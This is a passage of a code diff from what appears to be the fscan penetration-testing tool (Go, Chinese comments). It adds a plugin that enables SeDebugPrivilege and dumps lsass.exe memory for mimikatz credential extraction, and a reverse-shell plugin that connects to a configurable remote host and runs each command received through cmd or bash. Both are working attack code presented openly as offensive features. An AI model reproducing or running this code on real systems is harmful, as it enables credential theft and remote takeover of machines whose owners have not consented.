common.LogError(fmt.Sprintf("提升权限失败: %v", err))
|
||||
// 权限提升失败不是致命错误,继续尝试
|
||||
common.LogBase("权限提升失败,尝试继续执行...")
|
||||
} else {
|
||||
common.LogSuccess("权限提升成功")
|
||||
}
|
||||
|
||||
// 创建转储文件
|
||||
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
|
||||
common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath))
|
||||
|
||||
// 执行转储
|
||||
common.LogDebug("开始执行内存转储...")
|
||||
|
||||
// 使用带超时的Windows API进行内存转储
|
||||
common.LogDebug("开始使用Windows API进行内存转储...")
|
||||
|
||||
// 创建一个带超时的context(完整转储需要更长时间)
|
||||
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
|
||||
defer cancel()
|
||||
|
||||
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
|
||||
// 创建错误信息文件
|
||||
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
|
||||
pid, err, time.Now().Format("2006-01-02 15:04:05")))
|
||||
os.WriteFile(outputPath, errorData, 0644)
|
||||
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("内存转储失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 获取文件信息
|
||||
fileInfo, err := os.Stat(outputPath)
|
||||
var fileSize int64
|
||||
if err == nil {
|
||||
fileSize = fileInfo.Size()
|
||||
}
|
||||
|
||||
// 获取系统信息
|
||||
systemInfo := p.GetSystemInfo()
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "MiniDump",
|
||||
Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid),
|
||||
Extra: map[string]interface{}{
|
||||
"process_name": "lsass.exe",
|
||||
"process_id": pid,
|
||||
"dump_file": outputPath,
|
||||
"file_size": fileSize,
|
||||
"system_info": systemInfo,
|
||||
},
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetLocalData 获取内存转储本地数据
|
||||
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
data["plugin_type"] = "minidump"
|
||||
data["target_process"] = "lsass.exe"
|
||||
data["requires_admin"] = true
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取内存数据
|
||||
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: "内存转储完成,可使用mimikatz等工具分析",
|
||||
Data: data,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// isAdmin 检查是否具有管理员权限
|
||||
func (p *MiniDumpPlugin) isAdmin() bool {
|
||||
var sid *windows.SID
|
||||
err := windows.AllocateAndInitializeSid(
|
||||
&windows.SECURITY_NT_AUTHORITY,
|
||||
2,
|
||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&sid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer windows.FreeSid(sid)
|
||||
|
||||
token := windows.Token(0)
|
||||
member, err := token.IsMember(sid)
|
||||
return err == nil && member
|
||||
}
|
||||
|
||||
// ProcessManager 方法实现
|
||||
|
||||
// findProcess 查找进程
|
||||
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
|
||||
snapshot, err := pm.createProcessSnapshot()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer pm.closeHandle(snapshot)
|
||||
|
||||
return pm.findProcessInSnapshot(snapshot, name)
|
||||
}
|
||||
|
||||
// createProcessSnapshot 创建进程快照
|
||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||
common.LogDebug("正在创建进程快照...")
|
||||
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err)
|
||||
}
|
||||
|
||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||
lastError := windows.GetLastError()
|
||||
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
|
||||
}
|
||||
common.LogDebug(fmt.Sprintf("进程快照创建成功,句柄: 0x%x", handle))
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// findProcessInSnapshot 在快照中查找进程
|
||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||
common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name))
|
||||
var pe32 PROCESSENTRY32
|
||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||
|
||||
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err)
|
||||
}
|
||||
|
||||
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err)
|
||||
}
|
||||
|
||||
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err)
|
||||
}
|
||||
|
||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
lastError := windows.GetLastError()
|
||||
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError)
|
||||
}
|
||||
|
||||
processCount := 0
|
||||
for {
|
||||
processCount++
|
||||
namePtr, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("转换进程名失败: %v", err)
|
||||
}
|
||||
|
||||
ret, _, _ = lstrcmpi.Call(
|
||||
uintptr(unsafe.Pointer(namePtr)),
|
||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
common.LogSuccess(fmt.Sprintf("找到目标进程 %s,PID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount))
|
||||
return pe32.th32ProcessID, nil
|
||||
}
|
||||
|
||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("搜索了 %d 个进程,未找到目标进程: %s", processCount, name))
|
||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||
}
|
||||
|
||||
// elevatePrivileges 提升权限
|
||||
func (pm *ProcessManager) elevatePrivileges() error {
|
||||
handle, err := pm.getCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var token syscall.Token
|
||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("打开进程令牌失败: %v", err)
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
var tokenPrivileges TOKEN_PRIVILEGES
|
||||
|
||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
ret, _, err := lookupPrivilegeValue.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("查找特权值失败: %v", err)
|
||||
}
|
||||
|
||||
tokenPrivileges.PrivilegeCount = 1
|
||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||
|
||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
ret, _, err = adjustTokenPrivileges.Call(
|
||||
uintptr(token),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||
0, 0, 0,
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("调整令牌特权失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// getCurrentProcess 获取当前进程句柄
|
||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||
handle, _, _ := proc.Call()
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||
}
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
|
||||
// dumpProcessWithTimeout 带超时的转储进程内存
|
||||
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
|
||||
// 创建一个channel来接收转储结果
|
||||
resultChan := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
resultChan <- pm.dumpProcess(pid, outputPath)
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-resultChan:
|
||||
return err
|
||||
case <-ctx.Done():
|
||||
return fmt.Errorf("内存转储超时 (120秒)")
|
||||
}
|
||||
}
|
||||
|
||||
// dumpProcess 转储进程内存
|
||||
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
processHandle, err := pm.openProcess(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(processHandle)
|
||||
|
||||
fileHandle, err := pm.createDumpFile(outputPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(fileHandle)
|
||||
|
||||
common.LogDebug("正在调用MiniDumpWriteDump API...")
|
||||
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
|
||||
if err != nil {
|
||||
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
|
||||
}
|
||||
|
||||
// 使用MiniDumpWithDataSegs获取包含数据段的转储(mimikatz兼容)
|
||||
const MiniDumpWithDataSegs = 0x00000001
|
||||
const MiniDumpWithFullMemory = 0x00000002
|
||||
const MiniDumpWithHandleData = 0x00000004
|
||||
const MiniDumpScanMemory = 0x00000010
|
||||
const MiniDumpWithUnloadedModules = 0x00000020
|
||||
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
|
||||
const MiniDumpFilterModulePaths = 0x00000080
|
||||
const MiniDumpWithProcessThreadData = 0x00000100
|
||||
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
|
||||
const MiniDumpWithoutOptionalData = 0x00000400
|
||||
const MiniDumpWithFullMemoryInfo = 0x00000800
|
||||
const MiniDumpWithThreadInfo = 0x00001000
|
||||
const MiniDumpWithCodeSegs = 0x00002000
|
||||
|
||||
// 组合多个标志以获得mimikatz可识别的完整转储
|
||||
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
|
||||
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
|
||||
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
|
||||
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
|
||||
|
||||
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
|
||||
|
||||
ret, _, callErr := miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
uintptr(dumpType),
|
||||
0, 0, 0,
|
||||
)
|
||||
|
||||
common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret))
|
||||
if ret == 0 {
|
||||
// 获取更详细的错误信息
|
||||
lastError := windows.GetLastError()
|
||||
common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
|
||||
|
||||
// 尝试使用较小的转储类型作为后备
|
||||
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
|
||||
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
|
||||
|
||||
ret, _, callErr = miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
uintptr(fallbackDumpType),
|
||||
0, 0, 0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
lastError = windows.GetLastError()
|
||||
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
|
||||
common.LogBase("使用后备转储类型成功创建转储文件")
|
||||
}
|
||||
|
||||
common.LogSuccess("内存转储写入完成")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// openProcess 打开进程
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
|
||||
proc, err := pm.kernel32.FindProc("OpenProcess")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
|
||||
}
|
||||
|
||||
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
lastError := windows.GetLastError()
|
||||
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// createDumpFile 创建转储文件
|
||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
createFile, err := pm.kernel32.FindProc("CreateFileW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
|
||||
}
|
||||
|
||||
handle, _, callErr := createFile.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
syscall.GENERIC_WRITE,
|
||||
0, 0,
|
||||
syscall.CREATE_ALWAYS,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
lastError := windows.GetLastError()
|
||||
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// closeHandle 关闭句柄
|
||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
|
||||
proc.Call(handle)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// RegisterMiniDumpPlugin 注册内存转储插件
|
||||
func RegisterMiniDumpPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "minidump",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows进程内存转储插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewMiniDumpPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("minidump", factory)
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *MiniDumpPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("Windows进程内存转储插件\n")
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n")
|
||||
info.WriteString("要求: 需要管理员权限\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
RegisterMiniDumpPlugin()
|
||||
}
|
165
Plugins/local/plugin.go
Normal file
165
Plugins/local/plugin.go
Normal file
@ -0,0 +1,165 @@
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
)
|
||||
|
||||
// BaseLocalPlugin 本地插件基础实现 - 简化架构
|
||||
type BaseLocalPlugin struct {
|
||||
*base.BasePlugin
|
||||
platforms []string
|
||||
requiresPrivileges bool
|
||||
}
|
||||
|
||||
// NewBaseLocalPlugin 创建基础本地插件
|
||||
func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin {
|
||||
basePlugin := base.NewBasePlugin(metadata)
|
||||
|
||||
return &BaseLocalPlugin{
|
||||
BasePlugin: basePlugin,
|
||||
platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台
|
||||
requiresPrivileges: false,
|
||||
}
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *BaseLocalPlugin) Initialize() error {
|
||||
// 检查平台支持
|
||||
if !p.isPlatformSupported() {
|
||||
return fmt.Errorf("当前平台 %s 不支持此插件", runtime.GOOS)
|
||||
}
|
||||
|
||||
return p.BasePlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 执行扫描
|
||||
func (p *BaseLocalPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
// 检查权限要求
|
||||
if p.requiresPrivileges && !p.hasRequiredPrivileges() {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: errors.New("需要管理员/root权限才能执行此扫描"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 默认本地扫描实现(子类应重写)
|
||||
func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: errors.New("ScanLocal方法需要在子类中实现"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetSystemInfo 获取系统信息 - 实用工具方法
|
||||
func (p *BaseLocalPlugin) GetSystemInfo() map[string]string {
|
||||
systemInfo := make(map[string]string)
|
||||
|
||||
systemInfo["os"] = runtime.GOOS
|
||||
systemInfo["arch"] = runtime.GOARCH
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
systemInfo["home_dir"] = homeDir
|
||||
}
|
||||
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
systemInfo["working_dir"] = workDir
|
||||
}
|
||||
|
||||
systemInfo["temp_dir"] = os.TempDir()
|
||||
|
||||
// 获取用户名
|
||||
if currentUser, err := user.Current(); err == nil {
|
||||
systemInfo["username"] = currentUser.Username
|
||||
}
|
||||
|
||||
// 获取主机名
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
systemInfo["hostname"] = hostname
|
||||
}
|
||||
|
||||
return systemInfo
|
||||
}
|
||||
|
||||
|
||||
// GetPlatformSupport 获取支持的平台
|
||||
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
|
||||
return p.platforms
|
||||
}
|
||||
|
||||
// SetPlatformSupport 设置支持的平台
|
||||
func (p *BaseLocalPlugin) SetPlatformSupport(platforms []string) {
|
||||
p.platforms = platforms
|
||||
}
|
||||
|
||||
// RequiresPrivileges 是否需要特殊权限
|
||||
func (p *BaseLocalPlugin) RequiresPrivileges() bool {
|
||||
return p.requiresPrivileges
|
||||
}
|
||||
|
||||
// SetRequiresPrivileges 设置是否需要特殊权限
|
||||
func (p *BaseLocalPlugin) SetRequiresPrivileges(required bool) {
|
||||
p.requiresPrivileges = required
|
||||
}
|
||||
|
||||
// isPlatformSupported 检查当前平台是否支持
|
||||
func (p *BaseLocalPlugin) isPlatformSupported() bool {
|
||||
currentOS := runtime.GOOS
|
||||
for _, platform := range p.platforms {
|
||||
if platform == currentOS {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// hasRequiredPrivileges 检查是否具有所需权限
|
||||
func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
|
||||
if !p.requiresPrivileges {
|
||||
return true
|
||||
}
|
||||
|
||||
// 这里可以根据平台实现权限检查
|
||||
// Windows: 检查是否为管理员
|
||||
// Linux/macOS: 检查是否为root或有sudo权限
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return isWindowsAdmin()
|
||||
case "linux", "darwin":
|
||||
return isUnixRoot()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// 平台特定的权限检查函数 - 实际实现
|
||||
func isWindowsAdmin() bool {
|
||||
// Windows管理员权限检查:尝试写入系统目录
|
||||
testPath := `C:\Windows\Temp\fscan_admin_test`
|
||||
file, err := os.Create(testPath)
|
||||
if err != nil {
|
||||
// 无法创建文件,可能没有管理员权限
|
||||
return false
|
||||
}
|
||||
file.Close()
|
||||
os.Remove(testPath)
|
||||
return true
|
||||
}
|
||||
|
||||
func isUnixRoot() bool {
|
||||
// Unix/Linux root用户检查
|
||||
currentUser, err := user.Current()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return currentUser.Uid == "0"
|
||||
}
|
276
Plugins/local/reverseshell/plugin.go
Normal file
276
Plugins/local/reverseshell/plugin.go
Normal file
@ -0,0 +1,276 @@
|
||||
package reverseshell
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// ReverseShellPlugin 反弹Shell插件 - 使用简化架构
|
||||
type ReverseShellPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
target string // 目标地址:端口
|
||||
host string
|
||||
port int
|
||||
}
|
||||
|
||||
// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
|
||||
func NewReverseShellPlugin() *ReverseShellPlugin {
|
||||
// 从全局参数获取反弹Shell目标
|
||||
target := common.ReverseShellTarget
|
||||
if target == "" {
|
||||
// 如果没有指定目标,使用默认值
|
||||
target = "127.0.0.1:4444"
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "reverseshell",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
host, portStr, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
host = target
|
||||
portStr = "4444" // 默认端口
|
||||
}
|
||||
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil {
|
||||
port = 4444 // 默认端口
|
||||
}
|
||||
|
||||
plugin := &ReverseShellPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
target: target,
|
||||
host: host,
|
||||
port: port,
|
||||
}
|
||||
|
||||
// 设置支持的平台
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *ReverseShellPlugin) Initialize() error {
|
||||
// 调用基类初始化
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行反弹Shell扫描 - 简化版本
|
||||
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("启动Go原生反弹Shell...")
|
||||
|
||||
// 启动反弹shell
|
||||
common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
|
||||
|
||||
// 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到
|
||||
err := p.startNativeReverseShell(ctx, p.host, p.port)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "ReverseShell",
|
||||
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"target": p.target,
|
||||
"platform": runtime.GOOS,
|
||||
"implementation": "go_native",
|
||||
"status": "completed",
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
|
||||
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
|
||||
// 连接到目标
|
||||
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
|
||||
|
||||
// 设置反弹Shell为活跃状态,告诉主程序保持运行
|
||||
common.ReverseShellActive = true
|
||||
defer func() {
|
||||
// 确保退出时清除活跃状态
|
||||
common.ReverseShellActive = false
|
||||
}()
|
||||
|
||||
// 发送欢迎消息
|
||||
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
|
||||
conn.Write([]byte(welcomeMsg))
|
||||
conn.Write([]byte("Type 'exit' to quit\n"))
|
||||
|
||||
// 创建读取器
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
for {
|
||||
// 检查上下文取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
conn.Write([]byte("Shell session terminated by context\n"))
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 发送提示符
|
||||
prompt := fmt.Sprintf("%s> ", getCurrentDir())
|
||||
conn.Write([]byte(prompt))
|
||||
|
||||
// 读取命令
|
||||
cmdLine, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
common.LogBase("反弹Shell连接关闭")
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("读取命令错误: %v", err)
|
||||
}
|
||||
|
||||
// 清理命令
|
||||
cmdLine = strings.TrimSpace(cmdLine)
|
||||
if cmdLine == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 检查退出命令
|
||||
if cmdLine == "exit" {
|
||||
conn.Write([]byte("Goodbye!\n"))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行命令
|
||||
result := p.executeCommand(cmdLine)
|
||||
|
||||
// 发送结果
|
||||
conn.Write([]byte(result + "\n"))
|
||||
}
|
||||
}
|
||||
|
||||
// executeCommand 执行系统命令
|
||||
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
|
||||
var cmd *exec.Cmd
|
||||
|
||||
// 根据操作系统选择命令解释器
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("cmd", "/C", cmdLine)
|
||||
case "linux", "darwin":
|
||||
cmd = exec.Command("bash", "-c", cmdLine)
|
||||
default:
|
||||
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
// 执行命令并获取输出
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Sprintf("错误: %v\n%s", err, string(output))
|
||||
}
|
||||
|
||||
return string(output)
|
||||
}
|
||||
|
||||
// getCurrentDir 获取当前目录
|
||||
func getCurrentDir() string {
|
||||
dir, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetLocalData 获取反弹Shell本地数据
|
||||
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
// 获取系统信息
|
||||
data["plugin_type"] = "reverseshell"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["arch"] = runtime.GOARCH
|
||||
data["target"] = p.target
|
||||
data["implementation"] = "go_native"
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
data["home_dir"] = homeDir
|
||||
}
|
||||
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
data["work_dir"] = workDir
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
